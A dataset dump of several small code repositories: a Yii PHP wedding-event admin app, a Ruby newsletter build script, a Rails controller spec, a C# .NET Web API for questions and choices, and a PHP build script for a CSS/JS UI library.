branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep><?php
/* @var $this EventsController */
/* @var $model Events */
$this->breadcrumbs=array(
'Events'=>array('index'),
$model->name,
);
//print_r($_GET);
$id = $_GET['id'];
//print_r($id);
$this->menu=array(
// array('label'=>'List Events', 'url'=>array('index')),
// array('label'=>'Create Events', 'url'=>array('create')),
array('label'=>'Update Events', 'url'=>array('update', 'id'=>$model->id)),
// array('label'=>'Delete Events', 'url'=>'#', 'linkOptions'=>array('submit'=>array('delete','id'=>$model->id),'confirm'=>'Are you sure you want to delete this item?')),
// array('label'=>'Manage Events', 'url'=>array('admin')),
array('label'=>'Food Menu', 'url'=>array('foodMenu/admin','event_id'=>$id)),
array('label'=>'Guests', 'url'=>array('/guests/admin','event_id'=>$id)),
array('label'=>'Tables', 'url'=>array('/tables/admin','event_id'=>$id)),
array('label'=>'Seating', 'url'=>array('/seating/admin','event_id'=>$id)),
array('label'=>'Uploads', 'url'=>array('/uploads/admin','event_id'=>$id)),
array('label'=>'Guests', 'url'=>array('/guests/admin','event_id'=>$id)),
);
?>
<h1>View Events #<?php echo $model->id; ?></h1>
<?php $this->widget('zii.widgets.CDetailView', array(
'data'=>$model,
'attributes'=>array(
'id',
'owner',
'start_time',
'end_time',
'name',
'venue',
'description',
'location',
'user_id',
'facebook_id',
),
)); ?>
<file_sep><div class="topmainheaderwrapper" align="center">
<?php //echo $this->renderPartial('_manufactureslider'); ?>
</div>
<div class="container">
<div class="row">
<div class="col-md-9">
<h3 class="featuredwrapper2">Submit A Service Ticket</h3>
<div class="row">
<div class="serivce-team para">
<!-- <img src="<?php //echo Yii::app()->baseUrl ?>/design/imgs/team.jpg" alt="">-->
<!-- <p>Create an account or log in to submit a request to schedule a service visit for your equipment.</p>-->
<div class="new-account">
<span class="pull-left">
<p><strong>Create a new account - <a href="<?php echo Yii::app()->baseUrl ?>/index.php/web/register">click here</a></strong></p>
</span>
<form name="loginform" action="loginform" method="POST">
<div class="login-account pull-right">
<p><strong>Have an account? Log in here!</strong></p>
<label>Username: </label><input name="user" type="text" value=""><br>
<label>Password: </label><input name="pass" type="<PASSWORD>" value=""><br>
<span>
<input name="loginform" type="submit" value="submit">
<p><a href="#" onclick="showdiv()">forgot password?</a></p>
</span>
</div>
</form>
<div id="forgotpas" style="display: none">
<form name="forgotpassword" action="forgotpassword" method="POST">
<div class="login-account pull-left">
<p><strong>Please provide your Email for recovering </strong></p>
<label>Email: </label><input name="email" type="email" value=""><br>
<span><input name="forgotpassword" type="submit" value="submit"></span>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php // echo $this->renderPartial('_siderbar'); ?>
</div>
</div>
<script>
function showdiv()
{
$('#forgotpas').show();
}
</script>
<!-- /.container -->
<file_sep>index.file=index.php
url=http://localhost/wedapp/
<file_sep><?php
/* @var $this FoodCatController */
/* @var $model FoodCat */
$this->breadcrumbs=array(
'Food Cats'=>array('index'),
$model->id=>array('view','id'=>$model->id),
'Update',
);
$this->menu=array(
array('label'=>'List FoodCat', 'url'=>array('index')),
array('label'=>'Create FoodCat', 'url'=>array('create')),
array('label'=>'View FoodCat', 'url'=>array('view', 'id'=>$model->id)),
array('label'=>'Manage FoodCat', 'url'=>array('admin')),
);
?>
<h1>Update FoodCat <?php echo $model->id; ?></h1>
<?php $this->renderPartial('_form', array('model'=>$model)); ?><file_sep><?php
/* @var $this PresentListController */
/* @var $model PresentList */
$this->breadcrumbs=array(
'Present Lists'=>array('index'),
$model->id=>array('view','id'=>$model->id),
'Update',
);
$this->menu=array(
array('label'=>'List PresentList', 'url'=>array('index')),
array('label'=>'Create PresentList', 'url'=>array('create')),
array('label'=>'View PresentList', 'url'=>array('view', 'id'=>$model->id)),
array('label'=>'Manage PresentList', 'url'=>array('admin')),
);
?>
<h1>Update PresentList <?php echo $model->id; ?></h1>
<?php $this->renderPartial('_form', array('model'=>$model)); ?><file_sep><?php
/* @var $this FoodMenuController */
/* @var $model FoodMenu */
$this->breadcrumbs=array(
'Food Menus'=>array('index'),
'Create',
);
$this->menu=array(
array('label'=>'List FoodMenu', 'url'=>array('index')),
array('label'=>'Manage FoodMenu', 'url'=>array('admin')),
);
?>
<h1>Create FoodMenu</h1>
<?php $this->renderPartial('_form', array('model'=>$model)); ?><file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="language" content="en" />
<!-- blueprint CSS framework -->
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/screen.css" media="screen, projection" />
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/print.css" media="print" />
<!--[if lt IE 8]>
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/ie.css" media="screen, projection" />
<![endif]-->
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/main.css" />
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/form.css" />
<?php Yii::app()->bootstrap->registerBootstrapCss(); ?>
<link rel="stylesheet" type="text/css" href="<?php echo Yii::app()->request->baseUrl; ?>/css/akins-admin.css" />
<title><?php echo CHtml::encode($this->pageTitle); ?></title>
</head>
<body>
<div class="container" id="page">
<div id="header">
<div id="logo"><?php echo CHtml::encode(Yii::app()->name); ?></div>
</div><!-- header -->
<div id="mainmenu">
<?php
$this->widget( 'bootstrap.widgets.TbNavbar',
array(
'type' => 'inverse', // null or 'inverse'
'brand' => '',
'brandUrl' => '#',
'collapse' => true, // requires bootstrap-responsive.css
'fixed' => false,
'items' => array(
array(
'class' => 'bootstrap.widgets.TbMenu',
'submenuHtmlOptions' => array('class' => 'multi-level'),
'items'=>array(
array('label'=>'Home', 'url'=>array('/site/index')),
array('label'=>'Admins', 'url'=>array('/admins/admin')),
array('label'=>'User Reg', 'url'=>array('/users/admin')),
array('label'=>'Events', 'url'=>array('/events/admin')),
// array('label'=>'Food Category', 'url'=>array('/foodCat/admin')),
// array('label'=>'Food Items', 'url'=>array('/foodItems/admin')),
// array('label'=>'Food Menu', 'url'=>array('/foodMenu/admin')),
// array('label'=>'Guests', 'url'=>array('/guests/admin')),
// array('label'=>'Present List', 'url'=>array('/presentList/create')),
// array('label'=>'Tables', 'url'=>array('/tables/admin')),
// array('label'=>'Seating', 'url'=>array('/seating/admin')),
// array('label'=>'Uploads', 'url'=>array('/uploads/admin')),
//array('label'=>'About', 'url'=>array('/site/page', 'view'=>'about')),
//array('label'=>'Contact', 'url'=>array('/site/contact')),
array('label'=>'Login', 'url'=>array('/site/login'), 'visible'=>Yii::app()->user->isGuest),
array('label'=>'Logout ('.Yii::app()->user->name.')', 'url'=>array('/site/logout'), 'visible'=>!Yii::app()->user->isGuest)
),
)
)
)
); ?>
</div><!-- mainmenu -->
<?php if(isset($this->breadcrumbs)):?>
<?php $this->widget('zii.widgets.CBreadcrumbs', array(
'links'=>$this->breadcrumbs,
)); ?><!-- breadcrumbs -->
<?php endif?>
<?php echo $content; ?>
<div class="clear"></div>
<div id="footer">
Copyright © <?php echo date('Y'); ?> Tesla Vault.<br/>
All Rights Reserved.<br/>
<i><b>Tesla Vault</b></i>
<?php //echo Yii::powered; ?>
</div><!-- footer -->
</div><!-- page -->
</body>
</html>
<file_sep><?php
/* @var $this EventsController */
/* @var $model Events */
/* @var $form CActiveForm */
?>
<div class="form">
<?php $form=$this->beginWidget('bootstrap.widgets.TbActiveForm',array(
'id'=>'user-form',
'enableAjaxValidation'=>false,'htmlOptions' => array(
'enctype' => 'multipart/form-data',
),
)); ?>
<p class="note">Fields with <span class="required">*</span> are required.</p>
<?php echo $form->errorSummary($model); ?>
<div class="row">
<?php echo $form->labelEx($model,'owner'); ?>
<?php echo $form->textField($model,'owner',array('size'=>60,'maxlength'=>200)); ?>
<?php echo $form->error($model,'owner'); ?>
</div>
<div class="row">
<?php //echo $form->labelEx($model,'start_time'); ?>
<?php //echo $form->textField($model,'start_time'); ?>
<?php //echo $form->error($model,'start_time'); ?>
<?php echo $form->datepickerRow(
$model,
'start_time',
array('options' =>
array(
'autoclose' => true,
'language' => 'en',
'format'=>'yyyy-mm-dd',
),),
array(
//'hint' => 'Click inside! This is a super cool date field.',
'prepend' => '<i class="icon-calendar"></i>'
)
);?>
</div>
<div class="row">
<?php //echo $form->labelEx($model,'end_time'); ?>
<?php //echo $form->textField($model,'end_time'); ?>
<?php //echo $form->error($model,'end_time'); ?>
<?php echo $form->datepickerRow(
$model,
'end_time',
array('options' =>
array(
'autoclose' => true,
'language' => 'en',
'format'=>'yyyy-mm-dd',
),),
array(
//'hint' => 'Click inside! This is a super cool date field.',
'prepend' => '<i class="icon-calendar"></i>'
)
);?>
</div>
<div class="row">
<?php echo $form->labelEx($model,'name'); ?>
<?php echo $form->textField($model,'name',array('size'=>60,'maxlength'=>200)); ?>
<?php echo $form->error($model,'name'); ?>
</div>
<div class="row">
<?php echo $form->labelEx($model,'venue'); ?>
<?php echo $form->textField($model,'venue',array('size'=>60,'maxlength'=>200)); ?>
<?php echo $form->error($model,'venue'); ?>
</div>
<div class="row">
<?php echo $form->labelEx($model,'description'); ?>
<?php echo $form->textField($model,'description',array('size'=>60,'maxlength'=>200)); ?>
<?php echo $form->error($model,'description'); ?>
</div>
<div class="row">
<?php echo $form->labelEx($model,'location'); ?>
<?php echo $form->textField($model,'location',array('size'=>60,'maxlength'=>200)); ?>
<?php echo $form->error($model,'location'); ?>
</div>
<div class="row">
<?php //echo $form->labelEx($model,'user_id'); ?>
<?php echo $form->hiddenField($model,'user_id'); ?>
<?php //echo $form->error($model,'user_id'); ?>
</div>
<div class="row">
<?php echo $form->labelEx($model,'facebook_id'); ?>
<?php echo $form->textField($model,'facebook_id'); ?>
<?php echo $form->error($model,'facebook_id'); ?>
</div>
<div class="row buttons">
<?php $this->widget('bootstrap.widgets.TbButton', array(
'buttonType'=>'submit',
'type'=>'primary',
'label'=>$model->isNewRecord ? 'Create' : 'Save',
)); ?>
</div>
<?php $this->endWidget(); ?>
</div><!-- form --><file_sep><?php
/* @var $this FoodMenuController */
/* @var $model FoodMenu */
$this->breadcrumbs=array(
'Food Menus'=>array('index'),
$model->id=>array('view','id'=>$model->id),
'Update',
);
$this->menu=array(
array('label'=>'List FoodMenu', 'url'=>array('index')),
array('label'=>'Create FoodMenu', 'url'=>array('create')),
array('label'=>'View FoodMenu', 'url'=>array('view', 'id'=>$model->id)),
array('label'=>'Manage FoodMenu', 'url'=>array('admin')),
);
?>
<h1>Update FoodMenu <?php echo $model->id; ?></h1>
<?php $this->renderPartial('_form', array('model'=>$model)); ?><file_sep><?php
/* @var $this PresentListController */
/* @var $model PresentList */
$this->breadcrumbs=array(
'Present Lists'=>array('index'),
'Create',
);
$this->menu=array(
array('label'=>'List PresentList', 'url'=>array('index')),
array('label'=>'Manage PresentList', 'url'=>array('admin')),
);
?>
<h1>Create PresentList</h1>
<?php $this->renderPartial('_form', array('model'=>$model)); ?> | 8a539b8330d4756679c69acd3410fb0ae5b5c833 | [
"PHP",
"INI"
] | 10 | PHP | farzantesla/wedapp | 9c9f58683679f222bc403b76492e056f6aea3347 | 1184ba84addcca4b93a689c57637b8ee2a8d87f0 |
refs/heads/master | <file_sep>
<!-- Footer start, empty line on top needed -->
Thank you for reading **The iOS Times**, if you have comments, complaints, suggestions, or any other feedback please tweet me at [@_theiostimes](https://twitter.com/_theiostimes).
_Have a happy week, and don't forget to contriubte to open source projects._
<!-- Footer end -->
<file_sep><!-- https://templates.mailchimp.com/development/responsive-email/fluid-images/ -->
<style type="text/css">@media only screen and (max-width: 480px) {
img {
max-width:400px !important;
}
}
img {
height:auto !important;
max-width: 600px;
width: 100% !important;
}
</style>
_Your weekly digest full of interesting open source projects in the Apple ecosystem. Find useful tools, inspiration, projects to contribute to._
<!-- Header end -->
<file_sep>The iOS Times - Newsletter
===
This repo contains the automation used to generated the source for [The iOS Times](http://theiostimes.com) weekly newsletter.
```bash
rake build
```
---
(c) 2015 - mokacoding [@mokacoding](https://twitter.com/mokacoding) & <NAME> [@mokagio](https://twitter.com/mokagio)
<file_sep>require 'tempfile'
issues_folder = 'issues'
desc "Update the issues list"
task :update do
sh "git submodule foreach git pull"
end
def stripped_front_matter_temp_file(issue)
f = Tempfile.new('title')
begin
found_start = false
found_end = false
issue.each_line do |line|
line = line.strip
if not found_start
found_start = line == '---'
elsif not found_end
found_end = line == '---'
else
f.puts line
end
end
ensure
f.close
end
return f
end
def title_temp_file(issue)
f = Tempfile.open('title')
begin
issue_number = File.basename(issue, '.*').split('-').last.to_i
f.puts "# The iOS Times - #{issue_number}"
f.puts "### #{File.basename(issue)[0, 10]}"
ensure
f.close
end
return f
end
desc "Generate the HTML code for the latest issue, and copy it to the clipboar"
task :build => [:update] do
latest = Dir["#{issues_folder}/*.md"].reject { |f| File.basename(f) == "README.md" }.sort.last
puts latest
issue = File.open(latest)
temp_issue = stripped_front_matter_temp_file(issue)
temp_title = title_temp_file(issue)
sh "redcarpet --parse-fenced_code_blocks --smarty #{temp_title.path} header.md #{temp_issue.path} footer.md | pbcopy"
puts "👍 HTML code for #{latest} copied to clipboard"
temp_issue.unlink
temp_title.unlink
issue.close
end
| 67571a130ca18355c3a49ac41e471497f7609590 | [
"Markdown",
"Ruby"
] | 4 | Markdown | mokacoding/the-ios-times-newsletter | d73b12232fb86fe281508dbce29e1be10c4ecd58 | ed2792f061ded29396bcc34bef80faf73aaba1a2 |
refs/heads/master | <file_sep>require 'spec_helper'
RSpec.describe ArticlesController, type: :controller do
describe 'GET #index' do
it 'should respond with success and render template' do
get :index
expect(response).to be_success
expect(response).to render_template(:index)
end
end
describe 'GET #new' do
before { get :new }
it 'should respond with success and render template' do
expect(response).to be_success
expect(response).to render_template(:new)
end
it 'should initiate a new article' do
expect(assigns(:article)).to be_new_record
end
end
describe 'POST #create' do
it 'should create a new article'
end
it 'should not create a new article'
end
end
end
<file_sep>* this is a simple blog | e901b01de74ce1b409fb6c7c8983f2b88224041b | [
"RDoc",
"Ruby"
] | 2 | Ruby | Ramon-D/Blog | d2ae197126d3af430439041b1298df2e5a5e8f8e | 995532b96616b7dc331a3a8f8c4a6b36abea1b7f |
refs/heads/master | <file_sep>##Adding a new file in NewBranch
print("NewBranch, how to learn GitHub")
| e3c81959485095033a0fbee717db0c8ad776204b | [
"Python"
] | 1 | Python | VRO27/IBM-DS | c71ee1ff53373ff00a625e7d551b20d4bcfb22cb | 10af795bcd069d2197104f5794e2528fcfa53104 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Mail;
using System.Web;
namespace QuestionsAPI.Models.AuxiliarClasses
{
public class EmailSender
{
/// <summary>
/// This function is responsable to send all the notification emails to the users
/// </summary>
/// <param name="emailTo">email of the user</param>
/// <param name="messageSubject"></param>
/// <param name="message"></param>
public static void SendMessage(string emailTo, string messageSubject, string message)
{
//An instance of the Message object is created MailMessage
MailMessage mail = new MailMessage();
//no html in the message
mail.IsBodyHtml = false;
//set normal priority
mail.Priority = MailPriority.Normal;
//The email sender is specified
mail.From = new MailAddress("<EMAIL>");
//The email recipient is specified mail
mail.To.Add(emailTo);
//The email contents are specified
mail.Subject = messageSubject;
mail.Body = message;
//Specify server SMTP to using - Is no possible to using external SMTP!
SmtpClient smtp = new SmtpClient("localhost");
smtp.Send(mail);
}
}
}<file_sep>using QuestionsAPI.Models.AuxiliarClasses;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Net.Mail;
using System.Web.Http;
using System.Web.Http.Description;
namespace QuestionsAPI.Controllers
{
public class ShareController : ApiController
{
/// <summary>
/// Method to send an email through the server to some destination email, with a content url.
/// </summary>
/// <param name="destinationEmail"></param>
/// <param name="contentUrl"></param>
/// <returns></returns>
[ResponseType(typeof(void))]
[HttpPost]
public IHttpActionResult PostShare(string destinationEmail, string contentUrl)
{
if(IsValid(destinationEmail) && !String.IsNullOrEmpty(contentUrl))
{
EmailSender.SendMessage(destinationEmail, "Sharing url", contentUrl);
return Ok(new { status = "OK" });
}
return BadRequest("Bad Request. Either destinationEmail not valid or empty contentUrl.");
}
private bool IsValid(string emailaddress)
{
try
{
MailAddress m = new MailAddress(emailaddress);
return true;
}
catch (FormatException)
{
return false;
}
}
}
}
<file_sep>namespace QuestionsAPI.Migrations
{
using Models;
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.Entity.Migrations;
using System.Linq;
internal sealed class Configuration : DbMigrationsConfiguration<QuestionsAPI.Models.DatabaseContext>
{
public Configuration()
{
AutomaticMigrationsEnabled = false;
}
protected override void Seed(QuestionsAPI.Models.DatabaseContext context)
{
Choice c1 = new Choice { Id = 1, Name = "Python", Votes = 10 };
Choice c2 = new Choice { Id = 2, Name = "Java", Votes = 20 };
Choice c3 = new Choice { Id = 3, Name = "C#", Votes = 30 };
Choice c4 = new Choice { Id = 4, Name = "Javascript", Votes = 40 };
Choice c5 = new Choice { Id = 5, Name = "Bitbucket", Votes = 50 };
Choice c6 = new Choice { Id = 6, Name = "GitHub", Votes = 60 };
Choice c7 = new Choice { Id = 7, Name = "GitLab", Votes = 70 };
Choice c8 = new Choice { Id = 8, Name = "SQL Server", Votes = 50 };
Choice c9 = new Choice { Id = 9, Name = "MySQL", Votes = 60 };
Choice c10 = new Choice { Id = 10, Name = "MongoDB", Votes = 10 };
Choice c11 = new Choice { Id = 11, Name = "Oracle", Votes = 20 };
Choice c12 = new Choice { Id = 12, Name = "Lisbon", Votes = 60 };
Choice c13 = new Choice { Id = 13, Name = "Porto", Votes = 10 };
Choice c14 = new Choice { Id = 14, Name = "Coimbra", Votes = 20 };
Choice c15 = new Choice { Id = 15, Name = "Braga", Votes = 20 };
context.Choices.Add(c1);
context.Choices.Add(c2);
context.Choices.Add(c3);
context.Choices.Add(c4);
context.Choices.Add(c5);
context.Choices.Add(c6);
context.Choices.Add(c7);
context.Choices.Add(c8);
context.Choices.Add(c9);
context.Choices.Add(c10);
context.Choices.Add(c11);
context.Choices.Add(c12);
context.Choices.Add(c13);
context.Choices.Add(c14);
context.Choices.Add(c15);
List<Choice> ChoicesFirstQuestion = new List<Choice>();
ChoicesFirstQuestion.Add(c1);
ChoicesFirstQuestion.Add(c2);
ChoicesFirstQuestion.Add(c3);
ChoicesFirstQuestion.Add(c4);
List<Choice> ChoicesSecondQuestion = new List<Choice>();
ChoicesSecondQuestion.Add(c5);
ChoicesSecondQuestion.Add(c6);
ChoicesSecondQuestion.Add(c7);
List<Choice> ChoicesThirdQuestion = new List<Choice>();
ChoicesThirdQuestion.Add(c8);
ChoicesThirdQuestion.Add(c9);
ChoicesThirdQuestion.Add(c10);
ChoicesThirdQuestion.Add(c11);
List<Choice> ChoicesFourthQuestion = new List<Choice>();
ChoicesFourthQuestion.Add(c12);
ChoicesFourthQuestion.Add(c13);
ChoicesFourthQuestion.Add(c14);
ChoicesFourthQuestion.Add(c15);
context.Questions.AddOrUpdate(
q => q.Id,
new Question
{
Id = 1,
Content = "What's the best programming language?",
ImageUrl = "https://dummyimage.com/600x400/000/fff.png&text=question+1+image+(600x400)",
ThumbUrl = "https://dummyimage.com/120x120/000/fff.png&text=question+1+image+(120x120)",
PublishAt = DateTime.Now,
Choices = ChoicesFirstQuestion
},
new Question
{
Id = 2,
Content = "The best git host?",
ImageUrl = "https://dummyimage.com/600x400/000/fff.png&text=question+1+image+(600x400)",
ThumbUrl = "https://dummyimage.com/120x120/000/fff.png&text=question+1+image+(120x120)",
PublishAt = DateTime.Now,
Choices = ChoicesSecondQuestion
},
new Question
{
Id = 3,
Content = "The best database?",
ImageUrl = "https://dummyimage.com/600x400/000/fff.png&text=question+1+image+(600x400)",
ThumbUrl = "https://dummyimage.com/120x120/000/fff.png&text=question+1+image+(120x120)",
PublishAt = DateTime.Now,
Choices = ChoicesThirdQuestion
},
new Question
{
Id = 4,
Content = "What are the most visited cities in Portugal?",
ImageUrl = "https://dummyimage.com/600x400/000/fff.png&text=question+1+image+(600x400)",
ThumbUrl = "https://dummyimage.com/120x120/000/fff.png&text=question+1+image+(120x120)",
PublishAt = DateTime.Now,
Choices = ChoicesFourthQuestion
}
);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace QuestionsAPI.Models.ViewModel
{
public class ChoiceViewModel
{
public string choice { get; set; }
public int votes { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
namespace QuestionsAPI.Controllers
{
public class HealthController : ApiController
{
[HttpGet]
[HttpPost]
public IHttpActionResult GetHealth()
{
return Ok(new { status = 200 });
}
}
}
<file_sep># QuestionsAPI
Questions API made with .NET WebAPI
## How to setup
* clone/download project.
* open in Visual Studio(developed with VS Enterprise 2015, .NET Framework 4.5.2).
* Run the project.
* Test the api urls.
## Observations
* Code First approach, the database was generated from the models made
* Database is seed with 4 Questions, and each one has 3 or 4 Choices related.
* The models are: Question.csharp and Choice.csharp
* The database has 3 tables: Question, Choice and QuestionChoice.
* Used ViewModels to ease the mapping between the json objects received in the server and the Models.
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace QuestionsAPI.Models.ViewModel
{
public class QuestionViewModel
{
public QuestionViewModel(Question question)
{
id = question.Id;
this.question = question.Content;
image_url = question.ImageUrl;
thumb_url = question.ThumbUrl;
published_at = question.PublishAt;
choices = question.Choices.Select(c => new ChoiceViewModel { choice = c.Name, votes = c.Votes }).ToList();
}
public int id { get; set; }
public string question { get; set; }
public string image_url { get; set; }
public string thumb_url { get; set; }
public DateTime published_at { get; set; }
public List<ChoiceViewModel> choices { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using System.Web.Http.Description;
using QuestionsAPI.Models;
using QuestionsAPI.Models.ViewModel;
namespace QuestionsAPI.Controllers
{
public class QuestionsController : ApiController
{
private DatabaseContext db = new DatabaseContext();
/// <summary>
/// return a set of questions according to the parameters received
/// </summary>
/// <param name="limit">the number of records to retrieve</param>
/// <param name="offset">records already retrieved</param>
/// <param name="filter">word pattern to lookup on questions and choices</param>
/// <returns></returns>
[HttpGet]
public IQueryable<dynamic> GetQuestions(int limit, int offset, string filter = "")
{
var questions = from q in db.Questions
where q.Content.ToLower().Contains(filter)
//select new QuestionViewModel(q); -not support in linq to entities, parameterized constructor
select new { Id = q.Id, question = q.Content, image_url = q.ImageUrl, thumb_url = q.ThumbUrl, published_at = q.PublishAt,
choices = (from c in q.Choices select new { choice = c.Name, votes = c.Votes})
};
return questions;
}
/// <summary>
/// returns a view model with only the information needed
/// </summary>
/// <param name="id">id of the question</param>
/// <returns></returns>
[ResponseType(typeof(QuestionViewModel))]
[HttpGet]
public IHttpActionResult GetQuestion(int id)
{
Question question = db.Questions.Include(q => q.Choices).SingleOrDefault(q => q.Id == id);
if (question == null)
{
return NotFound();
}
return Ok(new QuestionViewModel(question));
}
/// <summary>
/// api method to insert a new question, it has some more code than it should because it was made with a relational database
/// if it was with a simple NoSQL database, there were no problems with duplicate choices.
/// </summary>
/// <param name="jsonQuestion"></param>
/// <returns></returns>
[ResponseType(typeof(InsertQuestionViewModel))]
[HttpPost]
public IHttpActionResult PostQuestion(InsertQuestionViewModel jsonQuestion)
{
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}
List<Choice> choicesAdded = new List<Choice>();
foreach (string item in jsonQuestion.choices)
{
// not really the correct way, this is made due the relations in the database,
// if it was a NoSQL database it would be much easier,
// without searching in the database if there was already a tuple with that name
if (!db.Choices.Any(c => c.Name == item))
{
choicesAdded.Add(db.Choices.Add(new Choice { Name = item, Votes = 0 }));
}
else
{
choicesAdded.Add(db.Choices.FirstOrDefault(c => c.Name == item));
}
}
Question questionAdded = db.Questions.Add(new Question { Content = jsonQuestion.question, ImageUrl = jsonQuestion.image_url, ThumbUrl = jsonQuestion.thumb_url, PublishAt = DateTime.Now, Choices = choicesAdded});
db.SaveChanges();
return CreatedAtRoute("DefaultApi", new { id = questionAdded.Id }, questionAdded);
}
/// <summary>
/// api method to update a question, as in the POST method, alot of code could be saved if we made NoSQL database.
/// </summary>
/// <param name="id"></param>
/// <param name="question"></param>
/// <returns></returns>
[ResponseType(typeof(void))]
public IHttpActionResult PutQuestion(int id, UpdateQuestionViewModel questionUpdated)
{
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}
//since we are using view models, we need to map all the viewmodel properties to the question object
Question question = db.Questions.Find(id);
question.Content = questionUpdated.question;
question.ImageUrl = questionUpdated.image_url;
question.ThumbUrl = questionUpdated.thumb_url;
db.Entry(question).State = EntityState.Modified;
foreach (ChoiceViewModel item in questionUpdated.choices)
{
Choice choice = db.Choices.FirstOrDefault(c => c.Name == item.choice);
choice.Votes = item.votes;
db.Entry(choice).State = EntityState.Modified;
}
try
{
db.SaveChanges();
}
catch (DbUpdateConcurrencyException)
{
return NotFound();
}
return Ok(new QuestionViewModel(question));
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
namespace QuestionsAPI.Models
{
public class Question
{
[Required]
public int Id { get; set; }
[Required]
public string Content { get; set; }
public string ImageUrl { get; set; }
public string ThumbUrl { get; set; }
public DateTime PublishAt { get; set; }
//code first approach, otherwise should have a middle table/model
//foreign key
public List<Choice> Choices { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
namespace QuestionsAPI.Models
{
public class Choice
{
[Required]
public int Id { get; set; }
[Required]
public string Name { get; set; }
public int Votes { get; set; }
//code first approach, otherwise should have a middle table/model
//navigation property
public List<Question> Questions { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace QuestionsAPI.Models.ViewModel
{
public class UpdateQuestionViewModel
{
public string question { get; set; }
public string image_url { get; set; }
public string thumb_url { get; set; }
public List<ChoiceViewModel> choices { get; set; }
}
} | 00098eddad538a7b5744d398b3e84e6f2028081c | [
"Markdown",
"C#"
] | 11 | C# | DavidMealha/QuestionsAPI | 1f197c966d4624b4c92b753ed83b4cd16584cd6f | aa93a9b1e92e385177ea74d691dbf8a005641aa7 |
refs/heads/master | <repo_name>jxdabc/XUIWeb<file_sep>/build.php
<?php
/*
authors:
<EMAIL>
*/
$target = isset($argv[1]) ? $argv[1] : 'all';
// make sure we are working here.
$PWD = dirname(__FILE__);
chdir($PWD);
switch ($target) {
default:
case 'css':
// build css.
echo "\n";
echo "Build XUI.css \n";
echo "==============================\n";
$CSS_SOURCE_ROOT = PATH('source/css');
$CSS_INTERMEDIA = PATH("$CSS_SOURCE_ROOT/_build.intermedia.less");
$css_release_path_root = PATH('release/css');
if (PHP_OS == 'WINNT') echo `rmdir /S /Q $css_release_path_root`;
else echo `rm -r $css_release_path_root`;
echo `mkdir $css_release_path_root`;
$skins = glob(PATH("$CSS_SOURCE_ROOT/skins/*"));
foreach ($skins as $skin_path)
{
$skin_name = pathinfo($skin_path, PATHINFO_FILENAME);
if ($skin_name == 'default')
continue;
if (PHP_OS == 'WINNT') echo `del $CSS_INTERMEDIA`;
else echo `rm $CSS_INTERMEDIA`;
echo "Build skin $skin_name...\n";
$bases = glob(PATH("$CSS_SOURCE_ROOT/base/*"));
usort($bases, 'CMP_FILE');
foreach ($bases as $base)
cat ($base, $CSS_INTERMEDIA, "\r\n");
$def_skin_csses = glob(PATH("$CSS_SOURCE_ROOT/skins/default/css/*"));
usort($def_skin_csses, 'CMP_FILE');
foreach ($def_skin_csses as $def_skin_css)
cat ($def_skin_css, $CSS_INTERMEDIA, "\r\n");
$controls = glob(PATH("$CSS_SOURCE_ROOT/controls/*"));
// do we need this behavior ?
// usort($controls, 'CMP_FILE');
foreach ($controls as $control)
cat ($control, $CSS_INTERMEDIA, "\r\n");
$skin_csses = glob(PATH("$skin_path/css/*"));
usort($skin_csses, 'CMP_FILE');
foreach ($skin_csses as $skin_css)
cat ($skin_css, $CSS_INTERMEDIA, "\r\n");
$css_release_path = PATH("$css_release_path_root/$skin_name");
echo `mkdir $css_release_path`;
if (PHP_OS == 'WINNT')
{
echo `xcopy /E /Y $CSS_SOURCE_ROOT\\skins\\default\\img $css_release_path\\img\\`;
echo `xcopy /E /Y $CSS_SOURCE_ROOT\\skins\\$skin_name\\img $css_release_path\\img\\`;
}
else
{
echo `cp -r $CSS_SOURCE_ROOT/skins/default/img $css_release_path/img`;
echo `cp -r $CSS_SOURCE_ROOT/skins/skin_name/img $css_release_path/img`;
}
$css_release_file_name = PATH("$css_release_path/XUI.css");
$css_release_file_name_compressed = PATH("$css_release_path/XUI.min.css");
`lessc $CSS_INTERMEDIA > $css_release_file_name`;
`uglifycss --cute-comments $css_release_file_name > $css_release_file_name_compressed`;
echo "\n";
}
if ($target == 'css') break;
case 'js':
// build XUI.js.
echo "\n";
echo "Build XUI.js \n";
echo "==============================\n";
$JS_INTERMEDIA = PATH('source/js/_build.intermedia.js');
$js_release_path_root = PATH('release/js');
if (PHP_OS == 'WINNT') echo `rmdir /S /Q $js_release_path_root`;
else echo `rm -r $js_release_path_root`;
